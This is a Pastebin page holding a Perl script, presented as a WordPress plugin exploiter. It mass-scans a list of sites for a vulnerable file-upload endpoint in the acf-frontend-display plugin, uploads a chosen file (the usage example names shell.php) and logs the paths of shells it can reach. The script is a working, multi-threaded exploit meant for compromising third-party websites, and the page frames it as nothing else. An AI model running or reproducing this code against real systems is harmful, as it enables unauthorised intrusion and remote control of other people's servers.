Advertisement
Jemb0t_IR3eng

WP Acf-Frontend-Display Plugin File Upload Exploiter

Apr 17th, 2019
824
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.00 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # install parallel::forkmanager module sudo apt-get install libparallel-forkmanager-perl
  3. # or cpan Parallel::ForkManager
  4. # @version 1.0
  5. # @author M-A
  6. # @Bug Founder TUNISIEN CYBER (Miutex)
  7. # @link https://raw.githubusercontent.com/mranarshit/Wordpress-file-upload/master/acf_up.pl
  8. # Perl Lov3r :)
  9. use LWP::UserAgent;
  10. use Getopt::Long;
  11. use Parallel::ForkManager;
  12.  
  13.  
  14. my $datestring = localtime();
  15. my ($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) = localtime();
  16. my $qqvul ="/wp-content/plugins/acf-frontend-display/js/blueimp-jQuery-File-Upload-d45deb1/server/php/";#theme path vul
  17.  
  18. our($list,$wordlist,$file,$thread);
  19. sub randomagent {
  20. my @array = ('Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0',
  21. 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0',
  22. 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)',
  23. 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36',
  24. 'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36',
  25. 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31'
  26. );
  27. my $random = $array[rand @array];
  28. return($random);
  29. }
  30.  
  31. GetOptions(
  32. 'url|u=s' => \$list,
  33. 'file|f=s' => \$file,
  34. 'wordlist|w=s' => \$log,
  35. 'threads|t=i' => \$thread,
  36. ) || &flag();
  37.  
  38. if(!defined($list) || !defined($file)|| !defined($log) || !defined($thread) ){
  39. &flag();
  40. exit;
  41. }
  42.  
  43. print "[+] Started : $datestring\n";
  44.  
  45. open(my $arq,'<'.$list) || die($!);
  46. my @site = <$arq>;
  47. @site = grep { !/^$/ } @site;
  48. close($arq);
  49. print "[".($#site+1)."] URL to test upload\n\n";
  50.  
  51. my $pm = new Parallel::ForkManager($thread);# preparing fork
  52. foreach my $web (@site){#loop => working
  53. my $pid = $pm->start and next;
  54. chomp($web);
  55. if($web !~ /^(http|https):\/\//){
  56. $web = 'http://'.$web;
  57. }
  58.  
  59. expqq($web);
  60. $pm->finish;
  61. }
  62. $pm->wait_all_children();
  63.  
  64. sub expqq{
  65. my $useragent = randomagent();#Get a Random User Agent
  66. my $ua = LWP::UserAgent->new(ssl_opts => { verify_hostname => 0 });#Https websites accept
  67. $ua->timeout(10);
  68. $ua->agent($useragent);
  69. print "[Testing] $_[0]\n";
  70. my $url = $_[0].$qqvul;
  71. my $response = $ua->get($url);
  72. if ($response->is_success || $response->content=~/error/|| $response->content=~/files/|| $response->content=~/name/){
  73. #print "[OK] Exploit Exists\n";
  74. #print "[*] Sent payload\n";
  75. my $regex = 'name":"'.$file.'",';
  76. my $body = $ua->post( $url,
  77. Content_Type => 'form-data',
  78. Content => [ 'files' => ["$file"] ]
  79. );
  80. if ($body->is_success ||$body->content=~ /$regex/ ||$body->content=~/delete_url/){
  81. #print "[+] Payload successfully executed\n";
  82. #print "[*] Checking if shell was uploaded\n\n";
  83. my $shell = $_[0]."/wp-content/uploads/uigen_".$year."/".$file;
  84. my $x = $ua->get($shell);
  85. if ($x->is_success) {
  86. print "[Path] $shell\n\n";
  87. save ($log,$shell);
  88. }
  89.  
  90. }
  91. else {
  92. print "[-] Payload failed : Not vulnerable\n\n";
  93. }
  94. }
  95. else {
  96. print "[No] Exploit Not Found\n\n";
  97. }
  98. }
  99.  
  100.  
  101. sub flag {
  102. print "\n[*] WP Acf-Frontend-Display Plugin File Upload Exploiter \n";
  103. print "[*] Coder : M-A\n";
  104. print "[+] Bug Founder : TUNISIEN CYBER (Miutex)\n";
  105. print "[+] Usage :\n";
  106. print "[REQUIRED] -u | urllist (List with ftp hosts).\n";
  107. print "[REQUIRED] -f | file (File to upload).\n";
  108. print "[REQUIRED] -w | logfile (File to save results).\n";
  109. print "[REQUIRED] -t | forknumber (Namber of fork).\n";
  110. print "\nExample: Wup.php -u urllist.txt -f shell.php -w log.txt -t 15 \n\n";
  111.  
  112. }
  113.  
  114. sub save {
  115. my ($file,$item) = @_;
  116. open(SAVE,">>".$file);
  117. print SAVE $item."\n";
  118. close(SAVE);
  119. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement